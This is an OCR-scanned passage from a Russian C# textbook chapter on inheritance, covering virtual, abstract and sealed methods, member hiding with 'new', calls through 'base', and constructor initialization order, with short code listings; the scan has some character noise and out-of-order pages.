совершенно такую же угрозу работе использующего ваш класс кода, как удаление или изменение от- крытых членов. Производный класс не может обладать большей видимостью, чем базовый. Например, наследуя от внутреннего класса, нельзя объявить свой класс открытым. Базовый класс является частью API-интерфейса вашего класса, поэтому каждый, кто захочет использовать ваш класс, также, по сути, будет использовать и базовый класс. Это означает, что если базовый класс недоступен, то недоступным будет и ваш класс; именно поэтому C# не допускает, чтобы класс обладал большей ви- димостью, чем базовый. Например, если вы наследуете от вложенного класса, помеченного как protected, ваш производный класс может быть помечен как protected или private, но не public, internal или protected internal. 292
Наследование Данное ограничение не распространяется на реализуемые л « интерфейсы. Открыть)£ид1асс может свободно реализовывать 3?-внутренние или закрытые интерфейсы. Однако в случае на- следования интерфейсов оно также имеет силу: открытый ин- терфейс не может наследовать от внутреннего интерфейса. Выполняя определение метода, его можно пометить еще одним по- лезным для производных типов ключевым словом: virtual. Виртуальные методы Виртуальный метод — это метод, который может быть замещен в про- изводном типе. Некоторые из определенных в классе object методов яв- ляются виртуальными: каждый из методов ToString, Equals, GetHashCode и Finalize предусматривает возможность его замещения. Код, необхо- димый разным типам для создания удобного текстового представления значения объекта, очень сильно варьируется от типа к типу, и то же са- мое можно сказать о логике проверки объектов на равенство и получе- нии хэш-кодов. Финализатор, как правило, реализуется типами только в том случае, если по окончании использования объектов им требуется выполнить некоторую особую работу по очистке ресурсов. Виртуальны не все методы; на самом деле по умолчанию C# делает методы невиртуальными. Метод GetType класса object является невир- туальным, возвращаемой им информации всегда можно доверять, по- скольку вы каждый раз вызываете тот метод GetType, который предо- ставляет платформа .NET Framework, а не какую-либо специфичную для типа его замену, созданную, чтобы ввести вас в заблуждение. Для объявления метода виртуальным следует использовать ключевое слово virtual, как показано в листинге 6.20. Листинг 6.20. Класс с виртуальным методом public class BaseWithVirtual { public virtual void ShowMessage() { Console.WriteLine("Привет от BaseWithVirtual"); } } 293
Глава 6 j Синтаксис вызова виртуального метода не отличается ничем нео- бычным. Как можно увидеть в листинге 6.21, он выглядит совершенно так же, как вызов любого другого метода. Листинг 6.21. Вызов виртуального метода public static void CallVirtualMethod(BaseWithVirtual о) { о.ShowMessage(); } 1 Отличие вызова виртуального метода от вызова невиртуального со- стоит в том, что в первом случае решение, какой метод следует запу- скать, принимается на этапе выполнения. Код в листинге 6.21, по сути, просматривает содержимое переданного ему объекта, и если его тип предоставляет собственную реализацию метода ShowMessage, то вызыва- ет ее вместо той, что определена в базовом классе BaseWithVirtual. Вы- бор метода при этом основывается на реальном типе целевого объекта на этапе выполнения, а не на статическом типе (определяемом на этапе компиляции) выражения, ссылающегося на целевой объект. Поскольку при вызове виртуального метода выбор метода е основывается на типе того объекта, для которого тот вызыва- 3*5 ется, статические методы не могут быть виртуальными. Конечно, производные типы не обязаны замещать виртуальные ме- тоды. Листинг 6.22 демонстрирует два класса, наследующих от класса из листинга 6.20. Первый из них оставляет без изменений ту реализа- цию метода ShowMessage, которую предоставляет базовый класс. Вто- рой переопределяет этот метод. Обратите внимание на ключевое слово override — C# требует, чтобы намерение переопределить виртуальный метод было выражено явно. Листинг 6.22. Переопределение виртуальных методов public class DeriveWithoutOverride : BaseWithVirtual { } public class DeriveAndOverride : BaseWithVirtual { public override void ShowMessage() { 294
Console.WriteLine("Это переопределенный Метод"); I Данные типы можно использовать с помощью метода из листин- га 6.21. В листинге 6.23 этот метод вызывается три раза с передачей объ- ектов разных типов. Листинг 6.23. Использование виртуальных методов CallVirtualMethod(new BaseWithVirtual ()) ; CallVirtualMethod(new DeriveWithoutOverride ()); CallVirtualMethod (new De rive AndOver ride ()); Выполнив этот код, мы получим следующий вывод: Привет от BaseWithVirtual Привет от BaseWithVirtual Это переопределенный метод Очевидно, что при передаче в метод экземпляра базового класса мк получаем результат, выдаваемый методом ShowMessage базового класса. Этот же результат мы получаем и в том случае, когда передается произ- водный класс, не предоставляющий переопределенную версию метода ShowMessage. Отличающийся результат выдает только последний класс, который переопределяет метод ShowMessage. Переопределение во многом сходно с реализацией методов интер- фейсов — виртуальные методы представляют собой еще один способ на- писания полиморфного кода. Код из листинга 6.21 может использовать разные типы, при необходимости способные модифицировать поведе- ние. Существенное отличие состоит в том, что для каждого виртуально- го метода базовый класс способен предоставить реализацию по умолча- нию, чего не могут сделать интерфейсы. Абстрактные методы Виртуальный метод можно определить, не предоставляя реализа- цию по умолчанию. Такой метод в C# называется абстрактным мето- дом. Если класс содержит один или несколько абстрактных методов, он является неполным, поскольку предоставляет не все из определяемых им методов. Такие классы также называют абстрактными. Создать эк- земпляр абстрактного класса нельзя; попытка использовать оператор 295
Глава 6 new для абстрактного класса вызовет ошибку компилятора. Иногда при обсуждении классов бывает полезно уточнить, что некоторый класс не является абстрактным; для этого обычно используется термин «кон- кретный класс». Если, наследуя от абстрактного класса, вы не предоставите реали- зации для всех абстрактных методов, то ваш производный класс тоже будет абстрактным. При этом необходимо сообщить о своем намере- нии написать абстрактный класс, используя ключевое слово abstract; если класс, у которого есть нереализованные абстрактные методы (либо определенные им самим, либо унаследованные от базового), не будет помечен этим ключевым словом, компилятор C# выдаст сообщение об ошибке. В листинге 6.24 представлен абстрактный класс, который опре- деляет один абстрактный метод. Абстрактные методы являются вирту- альными по определению; было бы мало пользы в определении метода, который, не обладая телом, не предоставлял бы производным классам возможности определить его. Листинг 6.24. Абстрактный класс public abstract class AbstractBase { - public abstract void ShowMessage(); } Как и в случае членов интерфейсов, объявления абстрактных ме- тодов должны определять только сигнатуру и не содержать тела. Од- нако есть и отличие: каждый абстрактный член обладает собственным уровнем доступа — абстрактные методы можно помечать как public, internal, protected internal или protected. (Помечать абстрактный или виртуальный метод как private не имеет смысла, поскольку это сделало бы метод недоступным для производных типов и, соответственно, и не позволило бы его переопределить.) Хотя классы, содержащие абстрактные методы, должны быть • абстрактными, обратное утверждение будет неверным. На практике это встречается крайне редко, но C# допускает объ- явление абстрактным класса, который мог бы быть вполне жизнеспособным неабстрактным. Это позволяет предотвра- тить конструирование класса. Класс, который будет наследо- вать от него, окажется конкретным без необходимости перео- пределять какие-либо абстрактные методы. 296
Наследование Абстрактные классы располагают возможностью объявить о реали- зации интерфейса без необходимости предоставлять их полную реали- зацию. Однако при этом нельзя просто объявить интерфейс и опустить его члены. Как показывает листинг 6.25, необходимо явно объявить все члены интерфейса, пометив те из них, которые вы хотите оставить нереализованными, как абстрактные. Это вынудит производные типы предоставлять необходимую реализацию. Листинг 6.25. Абстрактная реализация интерфейса public abstract class MustBeComparable : IComparable<string> public abstract int CompareTo(string other); Очевидно, что возможности абстрактных классов и интерфейсов во многом совпадают. И те, и другие предоставляют способ для опре- деления абстрактного типа, который код сможет использовать без не- обходимости знать, какой в точности тип будет предоставлен на этапе выполнения. Каждый из этих вариантов имеет свои плюсы и минусы. Интерфейсы обладают тем преимуществом, что один тип способен реа- лизовывать несколько интерфейсов, в то время как классы могут спе- цифицировать только один базовый класс. Однако, с другой стороны, абстрактные классы способны предоставлять реализации по умолчанию для некоторых или даже для всех методов. Благодаря этому абстрактные классы легче поддаются изменению при выпуске новых версий кода. Предположим, что вы написали и выпустили библиотеку, в кото- рой определен ряд открытых интерфейсов, и во втором выпуске сво- ей библиотеки вы решили добавить новые члены в некоторые из них. Это не должно вызвать проблем у использующих ваш код клиентов; добавление новых возможностей никак не отразится на тех местах, где применяются ссылки данных интерфейсных типов. Однако если кто-то из клиентов написал реализации ваших интерфейсов? Допустим, что в следующей версии платформы .NET компания Microsoft решит доба- вить новый член в интерфейс IEnumerable<T>. Это было бы катастрофой. Интерфейс IEnumerable<T> не только ча- сто используется, но и часто реализуется. Классы, которые уже предо- ставляют его реализацию, оказались бы недопустимыми по той причине, что они не предоставляют вновь добавленный член. В результате старый код перестал бы компилироваться, а уже откомпилированный начал бы 297
Глава 6 выбрасывать исключение MissingMethodException на этапе выполнения. Что еще хуже, некоторые классы волей случая могут уже содержать член с таким же именем и сигнатурой, как у добавляемого метода. Ком- пилятор посчитает существующий член частью реализации интерфейса, несмотря на то что создавший его разработчик написал его с другой це- лью. Таким образом, если только существующий код случайно не будет выполнять в точности то же самое, что и новый член, мы столкнемся с проблемой, и компилятор не отреагирует на нее как на ошибку. Как вывод из описанной ситуации, общепринятое правило состоит в том, чтобы не изменять интерфейсы после их публикации. Конечно, если вы обладаете полным контролем над всем использующим интер- фейс кодом, то модификация, скорее всего, сойдет вам с рук, поскольку у вас будет возможность внести любые необходимые изменения везде, где применяется интерфейс. Однако после того как интерфейс станет доступным для применения в базах исходных кодов, над которыми у вас нет контроля — то есть после его публикации, — вы уже не сможете вне- сти в него изменения без риска нарушить работу использующего его кода. Абстрактные базовые классы позволяют уйти от этой проблемы. Хотя очевидно, что добавление новых абстрактных членов поднимает те же вопросы, добавление новых виртуальных методов вызывает гораз- до меньше проблем. Неабстрактный виртуальный метод обладает реа- лизацией по умолчанию, поэтому не имеет значения, реализует ли его производный метод или нет. Но что если после выхода версии 1.0 вашего компонента в версии 1.1 вы добавите в него новый виртуальный метод, имя и сигнатура которого по случайному совпадению будут такими же, как у метода, добавленного в производный класс одним из ваших клиентов? Допустим, в версии 1.0 ваш компонент определяет базовый класс, показанный в листинге 6.26. Листинг 6.26. Версия 1.0 базового типа public class LibraryBase { } После выхода этой библиотеки либо в виде самостоятельного про- дукта, либо в составе некоторого набора средств разработки для вашего приложения клиент может написать производный тип наподобие того, что представлен в листинге 6.27. В данном случае был добавлен метод 298
Наследование Start, и очевидно, что это делалось без намерения переопределить метод базового класса. Листинг 6.27. Класс, производный от версии 1.0 базового типа public class CustomerDerived : LibraryBase ( public void Start () ( Console.WriteLine("Метод Start производного типа"); I I Конечно, вам не всегда известно о том, какой код пишут ваши кли- енты, потому вполне возможно, что вы не будете знать о существовании этого метода Start. И в версии 1.1 своего компонента вы можете при- нять решение добавить новый виртуальный метод с таким же именем, Start, как показано в листинге 6.28. Листинг 6.28. Версия 1.1 базового типа public class LibraryBase ( public virtual void Start () { ) ) Теперь предположим, что ваша система вызовет этот метод в соста- ве некоторой процедуры инициализации. Для метода Start определена пустая реализация по умолчанию, поэтому если производным от клас- са LibraryBase типам не требуется участвовать в данной процедуре, они могут оставить все как есть. Те типы, которым необходимо участвовать в процедуре, выполнят переопределение метода Start. Но что произой- дет с классом из листинга 6.27? Очевидно, что создававший этот класс разработчик не собирался участвовать в вашем новом механизме ини- циализации, поскольку его код был написан еще тогда, когда данного механизма не существовало. Если ваш код вызовет метод Start класса CustomerDerived, это может привести к проблеме, поскольку разработ- чик этого класса, вероятно, рассчитывал вызывать его только из своего кода. К счастью, компилятор распознает эту проблему. Если клиент по- пытается откомпилировать код из листинга 6.27, используя версию 1.1 вашей библиотеки (листинг 6.28), компилятор предупредит его о том, что кое-что не в порядке: 299
Глава 6 warning CS0114: 'CustomerDerived.Start()' hides inherited member 'LibraryBase.Start()1. To make the current member override that implementation, add the override keyword. Otherwise add the new keyword (warning CS0114: "CustomerDerived.Start()" скрывает наследуемый член "LibraryBase.Start ()". Чтобы текущий член переопределял эту реализацию, добавьте ключевое слово override. В противном случае добавьте ключевое слово new) Именно поэтому компилятор C# требует, чтобы при замещении виртуальных методов мы использовали ключевое слово override. Ему необходимо знать о том, хотели ли мы переопределить существующий метод, чтобы при отсутствии у нас такого намерения он мог предупре- дить о конфликте имен. Компилятор выдает не сообщение об ошибке, а предупреждение, по- скольку обеспечиваемое им поведение, как правило, будет безопасным в такой ситуации, связанной с выпуском новой версии библиотеки. Компилятор предполагает — в данном случае верно, — что разработ- чик, написавший класс CustomerDerived, не хотел переопределить метод Start класса LibraryBase. Поэтому вместо того чтобы позволить методу Start класса CustomerDerived переопределить виртуальный метод базо- вого класса, он скрывает его. Производный тип скрывает член базового класса, когда вводит новый член с таким же именем. Скрытие методов представляет собой нечто совершенно иное, неже- ли переопределение методов. Скрытие не приводит к замещению базо- вого метода. Так, листинг 6.29 показывает, что скрытый метод Start оста- ется доступным. В данном примере создается объект CustomerDerived с размещением ссылки на него в двух переменных разного типа: одной типа CustomerDerived и одной типа LibraryBase. Затем осуществляется вызов метода Start через каждую из этих ссылок. Листинг в.29. Скрытый и виртуальный методы var d = new CustomerDerived!); LibraryBase b = d; d. Start(); b. Start(); Когда используется переменнаяД вызывается метод Start произво- дного типа, то есть того метода, который скрыл базовый член. Однако переменная b относится к типу LibraryBase, и потому вызывает базовый метод Start. Если бы вместо скрытия метода Start базового класса класс 300
Наследование CustomerDerived переопределил бы его, то и в том, и в другом случае за- пускался бы переопределенный метод. При возникновении конфликта имен из-за выпуска новой версии библиотеки подобное поведение скрытия обычно является как раз тем, что нужно. Если имеющийся у клиента код будет содержать перемен- ную типа CustomerDerived, этот код захочет вызвать метод Start данно- го производного класса. Однако компилятор выдаст предупреждение, поскольку у него нет уверенности в отношении источника проблемы. Возможно, вы хотели переопределить метод, но просто забыли написать ключевое слово override. Как и многие другие разработчики, я не люблю, когда компилятор выдает предупреждения, и стараюсь не писать код, который приводит к их появлению. Однако что делать, если такое случится вследствие ву-* пуска новой версии библиотеки? Лучшее решение в долгосрочной пер- спективе, вероятно, состоит в том, чтобы изменить имя метода в произ- водном классе таким образом, чтобы оно не конфликтовало с именем метода в новой версии библиотеки. Однако если вас поджимают сроки, возможно, вы захотите восполь- зоваться каким-либо более целесообразным решением. Поэтому C# предоставляет возможность объявить, что вы знаете о существовании конфликта имен и при этом точно хотите скрыть базовый член, а не пе- реопределить его. Как показывает листинг 6.30, сообщить о том, что вы знаете о проблеме и определенно хотите скрыть член базового класса, можно с помощью ключевого слова new. Код будет вести себя так же, как и раньше, но уже без выдачи предупреждения, поскольку вы уверили компилятор, что вам известно о существующей проблеме. Ее, однако, все же потребуется когда-то решать, поскольку рано или поздно суще- ствование у одного типа двух методов с одинаковым именем, но разным смыслом может привести к путанице. Листинг 6.30. Отключение предупреждений при скрытии членов public class CustomerDerived : LibraryBase { public new void Start () { Console.WriteLine(’’Метод Start производного типа"); } ) 301
Глава 6 Лишь иногда такое применение ключевого слова new бывает вызва- но другими причинами, а не проблемами управления версиями. Его, к примеру, использует интерфейс ISet<T> (о нем шла речь в главе 5), для введения нового метода Add. Интерфейс ICollection<T>, от которого наследует интерфейс ISet<T>, уже предоставляет метод Add, принимаю- щий экземпляр типа Т и обладающий возвращаемым типом void. Интер- фейс ISet<T> вносит в этот метод едва заметное изменение, показанное в листинге 6.31. Листинг 6.31. Скрытие для изменения сигнатуры public interface ISet<T> : ICollection<T> { new bool Add(T item); ... другие члены для ясности опущены } В отличие от метода Add базового интерфейса ICollection<T>, метод Add интерфейса ISet<T> сообщает вам о том, не содержал ли уже список добавляемый элемент. Интерфейсу I Set<T> нужно, чтобы его Add обладал другим возвращаемым типом — bool, а не void, — поэтому Add определя- ется в нем с использованием ключевого слова new, указывающего на то, что данный метод должен скрывать метод интерфейса ICollection<T>. Причем остаются доступными оба метода — если у вас будут две пере- менные, одна с типом ICollection<T>, а вторая cISet<T>, обе, ссылающи- еся на один и тот же объект, то через первую вы сможете вызвать метод Add с возвращаемым типом void, а через вторую — Add с возвращаемым типом bool. (Компании Microsoft не обязательно было поступать именно таким образом. Она могла просто назвать новый метод Add как-нибудь шАфугому — например, AddlfNotPresent. Однако, вероятно, использо- вание одного имени метода для добавления элементов в коллекцию дает меньше возможностей для путаницы, особенно если учесть то, что вы вольны и проигнорировать возвращаемое значение, в случае чего новый метод Add потеряет все отличия от старого. Кроме того, большинство реализаций интерфейса ISet<T> реализуют метод ICollection<T>.Add путем немедленного вызова метода ISet<T>.Add, поэтому в том, что они обладают одинаковым именем, есть определенный смысл.) До сих пор мы говорили о скрытии методов только в контексте ком- пилирования старого кода с использованием новой версии библиотеки. Однако что произойдет, если старый код будет откомпилирован с при- менением старой библиотеки, но запущен — с использованием новой 302
Наследование версии? С таким сценарием вполне можно столкнуться, когда речь идет о библиотеке классов .NET Framework. Предположим, вы бере- те сторонние компоненты, существующие только в двоичном форма- те (то есть продавшая их компания не предоставляет исходные коды). Эти компоненты будут рассчитаны на наличие некоторой конкретной версии .NET. Если вы захотите обновить свое приложение для работы с использованием новой версии .NET, у вас может не оказаться возмож- ности получить новые версии сторонних компонентов — например, если поставщик еще не выпустил их к тому моменту или вообще прекратил свою деятельность. Если нужные вам компоненты откомпилированы, скажем, для .NET 4.0, а вы хотите работать с ними в проекте, рассчитанном на .NET 4.5, все они в итоге тоже будут использовать версию 4.5 библиотеки клас- сов. Политика управления версиями платформы .NET Framework пре^- * писывает, чтобы все компоненты конкретной программы применяли одну и ту же версию библиотеки классов, независимо от того, на какую версию рассчитан каждый по отдельности. Поэтому вполне возможно, что некоторый компонент OldControls.dll будет содержать классы, на- следующие от классов версии .NET 4.0, и определять члены с именами, конфликтующими с именами в версии .NET 4.5. ч Данный сценарий представляет собой практически тот же, что я описывал ранее, лишь с тем отличием, что код, который был написан с расчетом на использование старой версии библиотеки, не перекомпи- лируется. Мы не получим предупреждение о скрытии метода, посколь- ку для этого нужно выполнить компиляцию, а мы располагаем только двоичным файлом рассматриваемого компонента. Что же в таком слу- чае произойдет? К счастью, мы можем обойтись и без компиляции старого компонен- та. Компилятор C# устанавливает различные флаги в откомпилирован- ном выводе для каждого компилируемого метода, которые указывают, например, является ли метод виртуальным или нет и рассчитан ли он на переопределение некоторого метода базового класса. Если вы поме- тите метод ключевым словом new, компилятор установит флаг, указы- вающий, что метод создан без намерения переопределить другой метод. Среда CLR называет это флагом новой ячейки (NewSlot). При компиля- ции такого метода, как представленный в листинге 6.27, не помеченный ни ключевым словом override, ни ключевым словом new, компилятор устанавливает для него такой же флаг новой ячейкй, поскольку на мо- 303
Листинг 6.32. Запечатанный метод public class FixedToString { public sealed override string ToString’i) { return "Гав-гав!"; I Можно также запечатать целый класс, тем самым исключив возмож- ность наследования от него. В качестве примера в листинге 6.33 пред- ставлен класс, который не только сам ничего не делает, но и исключает возможность расширить его для выполнения полезной работы. (Обыч- но запечатанные классы все-таки способны на что-то полезное. Данный пример приведен, лишь чтобы показать, где следует размещать ключе- вое слово.) Листинг 6.33. Запечатанный класс public sealed class EndOfTheLine Некоторые типы — запечатанные по самой своей природе. Напри- мер, значимые типы не поддерживают наследование, поэтому структу- ры и перечисления в сущности являются запечатанными. Встроенный класс string тоже запечатанный. Обычно классы или методы запечатываются по одной из двух при- чин. Первая заключается в том, что если в ситуации, когда требуется гарантировать определенный инвариант, оставить тип открытым для модификации, то дать такую гарантию будет невозможно. Например, экземпляры типа string являются неизменяемыми. Тип string сам по себе не предоставляет никакого способа для модификации значения эк- земпляра, и, поскольку ни один класс не может наследовать от string, можно гарантировать, что ссылка типа string — это ссылка на неизме- няемый объект. Данная особенность позволяет с уверенностью исполь- зовать тип string в сценариях, которые требуют, чтобы значение оста- валось неизменным — например, когда объект используется в качестве ключа словаря (или какого-либо другого контейнера, основанного на хэш-кодах), значение должно оставаться постоянным, поскольку изме- нение хэш-кода во время использования объекта в качестве ключа при- ведет к нарушению работы контейнера. 305
Вполне очевидно, почему это должно быть так: когда вам требуется экземпляр некоторого типа D, вы хотите получить полноценный экзем- пляр типа D, где все члены должным образом проинициализированы. Допустим, что тип D наследует от типа В. Если бы у вас имелась возмож- ность использовать конструкторы типа В напрямую, они не выполняли бы никаких действий в отношении членов, специфичных для класса D. Конструктор базового класса не знает о том, какие поля были опреде- лены в производном классе, поэтому он не может их пфоинициализи- ровать. Если вам требуется экземпляр типа D, вам нужно использовать конструктор, который знает, как инициализировать объект типа D. По- тому вне зависимости от того, какие конструкторы мог бы предоставить базовый класс, для создания объектов производного класса можно ис- пользовать только его собственные конструкторы. В предыдущих примерах главы я позволил себе не обращать на этот момент внимания, по той причине, что C# предоставляет конструктор по умолчанию. Как вы, возможно, помните из главы 3, если не напи- сать конструктор, компилятор сам сгенерирует конструктор без ар- гументов. Компилятор делает это и для производных классов, и в та- ком случае сгенерированный конструктор вызывает конструктор без аргументов базового класса. Однако если я начну писать собственные конструкторы, конструктор по умолчанию генерироваться не будет. В листинге 6.35 определены два класса, при этом в базовом — явный конструктор без аргументов, а в производном — принимающий один аргумент. Листинг в.35. Производный класс без конструктора по умолчанию public class BaseWithZeroArgCtor ( public BaseWithZeroArgCtor() ( Console.WriteLine("Базовый конструктор"); ) ) public class DerivedNoDefaultCtor : BaseWithZeroArgCtor ( public DerivedNoDefaultCtor(int i) ( & Console.WriteLine("Производный конструктор");
Наследование Поскольку у базового класса есть конструктор без аргументов, я могу •конструировать его, записав new BaseWithZeroArgCtor(). Однако сде- ть то же самое с производным классом нельзя: его можно сконструи- ровать, только передав аргумент, — например, следующим образом: new DerivedNoDefaultCtor(123). Поэтому, если судить по открытому API-интерфейсу класса perivedNoDefaultCtor, создается впечатление, что производный класс не унаследовал конструктор своего базового класса. Однако на самом деле он все же унаследовал его, в чем можно убе- диться, взглянув на вывод, получаемый при конструировании экзем- пляра производного типа: Базовый конструктор Производный конструктор При конструировании экземпляра типа DerivedNoDefaultCtor кон- структор базового класса вызывается непосредственно перед конструк- тором производного. Поскольку базовый конструктор был вызван, очевидно, что он нахо- дился в доступности. Производному типу доступны все конструкторы базового класса, однако они могут вызываться только из конструктора производного класса. В листинге 6.35 базовый конструктор вызывается неявно: все кон- структоры должны вызывать конструктор базового класса, и если вы не укажете, какой из конструкторов следует вызвать, компилятор сам за- пустит базовый конструктор без аргументов. А что если в базовом классе не будет определен конструктор без па- раметров? В этом случае, если в производном классе не будет указано, какой базовый конструктор следует вызвать, вы получите ошибку ком- пилятора. Листинг 6.36 демонстрирует базовый класс, у которого нет конструктора без аргументов. (Наличие любого явного конструктора отключает генерирование компилятором конструктора по умолчанию, а это означает, что, поскольку данный базовый класс предоставляет только конструктор, принимающий аргументы, у него нет конструктора ез аРгу ментов.) Данный листинг также демонстрирует производный класс с двумя Инструкторами, каждый из которых вызывает базовый конструктор явно, используя ключевое слово base. 309
Глава 6 мент компиляции в базовом классе не было метода с таким же именем. Следовательно, и разработчик, и компилятор записали метод Start класса CustomerDerived как совершенно новый, который никак не связан с методами базового класса. По тому когда этот старый компонент загружается в сочетании с определением базового класса из новой версии библиотеки, среда CLR может определить, что планировалось изначально, — она видит, что ав- тор класса CustomerDerived создавал метод Start без намерения перео- пределить другой метод. Среда обращается с методом CustomerDerived. Start отдельно от метода LibraryBase.Start — она скрывает базовый метод, совершенно так же, как в том случае, когда мы располагали воз- можностью перекомпилировать код. Кстати, следует отметить: все, что я говорил в отношении вирту- альных методов, распространяется и на свойства, поскольку аксессоры свойств представляют собой обычные методы. Таким образом, допуска- ется определять виртуальные свойства, и производные классы смогут переопределять или скрывать их точно так же, как это делается в случае методов. События, о которых я расскажу в главе 9, тоже представляют собой замаскированные методы и потому тоже могут быть виртуаль- ными, к Довольно редко возникает необходимость написать класс, переопре- деляющий виртуальный метод и запрещающий производным классам переопределять его снова. Для этой цели в C# служит ключевое слово sealed (запечатанный) — на самом же деле запечатывать можно не толь- ко методы. Запечатанные методы и классы Виртуальные методы намеренно открыты для модификации через наследование. Запечатанные методы представляют собой противопо- ложное — это методы, которые нельзя переопределить. В C# методы являются запечатанными по умолчанию: переопределение метода до- пускается только в том случае, если он объявлен виртуальным. Однако при переопределении виртуального метода его тоже можно запечатать, сделав недоступным для дальнейшей модификации. Листинг 6.32 де- монстрирует применение этого приема для предоставления пользова- тельской реализации метода ToString, не допускающей дальнейшего переопределения в производных классах. 304
Глава 6 Я поместил инициализаторы полей с обеих сторон от конструктора, чтобы показать, что их положение относительно других членов не имеет значения. Порядок следования полей определяет лишь их взаимное по- ложение. При конструировании экземпляра класса Derivedlnit мы по- лучим следующий вывод: Производное поле dl Производное поле d2 Базовое поле Ы Базовое поле Ь2 Базовый конструктор Производный конструктор Эти результаты подтверждают, что первыми запускаются инициали- заторы полей производного типа; затем выполняются инициализаторы базовых полей, за ними — базовый конструктор, и, наконец, произво- дный конструктор. Иными словами, несмотря на то что тела конструк- торов начинают выполняться с конструктора базового класса, инициа- лизация экземплярных полей проходит в обратном порядке. Именно поэтому нельзя вызывать экземплярные методы в инициа- лизаторах полей. Статические методы доступны, а экземплярные — нет, потому что до готовности экземпляра класса еще очень далеко. Если бы один из инициализаторов полей производного типа мог запустить метод базового класса, это могло бы вызвать проблемы, поскольку в данный момент базовый класс еще даже не начинал инициализацию — не выпол- нено не только тело конструктора, но и инициализаторы полей. Если бы экземплярные методы были доступны на этой стадии, нам бы пришлось очень осторожно подходить к написанию своего кода, поскольку мы бы не могли рассчитывать на то, что поля содержат что-либо полезное. Как вы видите, тела конструкторов выполняются на сравнительно поздней стадии процесса; именно поэтому нам разрешено запускать ме- тоды из них. Однако потенциальная угроза остается и здесь. Что если базовый класс определит виртуальный метод и вызовет его для самого себя в своем конструкторе? Производный тип может переопределить этот метод, а мы будем вызывать его до выполнения тела конструктора производного типа. (Однако инициализаторы полей производного типа к тому моменту уже будут выполнены. На самом деле в этом состоит главное преимущество того, что инициализаторы полей запускаются, казалось бы, в обратном порядке —отсюда следует, что производные классы обладают возможностью выполнить некоторую инициализацию 312
Глава 6 Другая распространенная причина для запечатывания классов или методов заключается в том, что разработать типы, которые можно было бы успешно модифицировать через наследование, достаточно сложно, особенно если типы предполагается использоваться за пределами вашей организации. При этом недостаточно просто открыть типы и методы для модификации — если вы сделаете все свои методы виртуальными, то те, кто будет использовать ваш тип, смогут легко модифицировать его поведение, однако вместе с тем вы сами себе усложните задачу сопро- вождения базового класса. Если только под вашим контролем не нахо- дится весь код, который наследует от вашего класса, почти невозможно внести какие-либо изменения в базовый класс, поскольку вы никогда не знаете, какой из методов может быть переопределен в производных классах, из-за чего очень трудно сделать так, чтобы ваш класс всегда об- ладал совместимым внутренним состоянием. Создатели производных классов, конечно, постараются сделать все возможное, чтобы не нару- шить работу базового класса, однако они неизбежно будут полагаться на незадокументированные аспекты поведения вашего класса. Таким образом, открывая все аспекты своего класса для модификации через наследование, вы сами лишаете себя возможности свободно вносить из- менения в этот класс. В большинстве случаев следует очень избирательно подходить к тойу, какие методы делать виртуальными. Кроме того, следует задо- кументировать, можно ли при переопределении замещать метод пол- ностью или как часть переопределения необходимо вызывать базовую реализацию. И, раз уж об этом зашла речь, возникает вопрос: как же осу- ществляется доступ к базовым членам? Доступ к базовым членам Все, что находится в области видимости в базовом классе и не явля- ется при этом закрытым, окажется в области видимости и будет доступно и в производном типе. Потому в большинстве случаев для доступа к чле- ну базового класса достаточно просто обратиться к нему, как к обычному члену производного класса. Вы можете ссылаться на члены, используя ключевое слово this либо просто по имени без квалификации. Однако в некоторых ситуациях требуется явно указать, что вы ссы- лаетесь на член базового класса. В частности, если вы переопределили метод, то вызов его по имени приведет к запуску переопределенной вер- сии. Если требуется обратиться к исходной версии метода, это можно 306
Наследование еще до того, как конструктор базового класса сможет вызвать вирту- альный метод.) Если вы знакомы с C++, вы, вероятно, предположите, что когда базовый конструктор вызывает виртуальный метод, он запу- скает базовую реализацию. Однако C# поступает иначе: в таком случае конструктор базового класса вызывает переопределенную версию из производного класса. Это совсем не обязательно является проблемой, и в некоторых случаях даже полезно; однако отсюда следует, что если вы хотите, чтобы ваш объект вызывал для себя виртуальные методы на этапе конструирования, вам следует тщательно обдумать и четко задо- кументировать свои предположения. Специальные базовые типы Несколько базовых типов библиотеки классов .NET Framework име- ют в C# особое значение. Наиболее заметным из них, конечно, является тип System.Object, который мы уже довольно подробно рассмотрели. Другой такой важный тип — System.ValueType. Это абстрактный ба- зовый тип всех значимых типов, поэтому все определяемые вами струк- туры — а также все встроенные значимые типы, такие как int и bool, — наследуют от него. По иронии судьбы сам тип ValueType ссылочный; значимыми являются только типы, которые наследуют от ValueType. Как большинство других типов, ValueType наследует от System.Object. Здесь налицо явное концептуальное затруднение: производные классы обычно включают в себя все, что содержит базовый, а также ту функ- циональность, которую добавляют сами. Учитывая, что и тип object, и тип ValueType — ссылочные, может показаться странным, что типы, производные от ValueType, не являются таковыми. Кроме того, неоче- видно, каким образом переменная типа object может содержать ссылку на экземпляр типа, не являющегося ссылочным. Все эти проблемы мы разрешим в главе 7. C# не разрешает наследовать от типа ValueType явно. Если требуется написать тип, который бы наследовал от ValueType, это следует сделать с помощью ключевого слова struct. Вы можете объявить переменную типа ValueType, однако, поскольку он не определяет никаких открытых членов, ссылка типа ValueType не предоставляет каких-либо дополни- тельных возможностей по сравнению с ссылкой типа obj ect. Единствен- ное заметное отличие состоит в том, что в переменной этого типа мож- но сохранить экземпляр любого значимого типа (но не ссылочного). В остальном такая переменная идентична переменной типа object. Как 313
Наследование сделать с помощью специального ключевого слова, как показано в ли- стинге 6.34. Листинг 6.34. Вызов базового метода после переопределения public class CustomerDerived : LibraryBase { public override void Start () { Console.WriteLine("Метод Start производного типа"); base.Start(); } } Применяя ключевое слово base, мы отказываемся от используемого обычно механизма диспетчеризации виртуальных методов. Если бы мы написали просто Start (), то получили бы в результате рекурсивный вы- зов, который был бы здесь неуместен. Но поместив вместо этого в код base.Start (), мы вызываем тот метод, что оказался бы доступен в эк- земпляре базового класса, то есть тот, что мы переопределили. В дан- ном примере реализация базового класса вызывается методом после вы- полнения собственной работы. Однако для C# не имеет значения, когда будет вызван базовый метод — это можно сделать в начале, в конце или в середине метода. Допускается вызывать базовый метод несколько раз или не вызывать вообще. Автор базового класса может задокументиро- вать, разрешено ли это, и если да, то когда переопределенному методу следует вызывать реализацию метода из базового класса. Ключевое слово base используется и для других разновидностей членов, например, для свойств и событий. Однако доступ к базовым конструкторам осуществляется несколько иначе. Наследование и конструирование Хотя производный класс наследует все члены своего базового клас- са, для конструкторов это несет несколько иной смысл, нежели для всего остального. Что касается других членов, то если они открыты в базовом классе, они окажутся открытыми членами и в производном, доступными любому, кто будет использовать производный класс. Однако кон'струк- торы ведут себя особым образом, поскольку тот, кто применяет ваш класс, не может 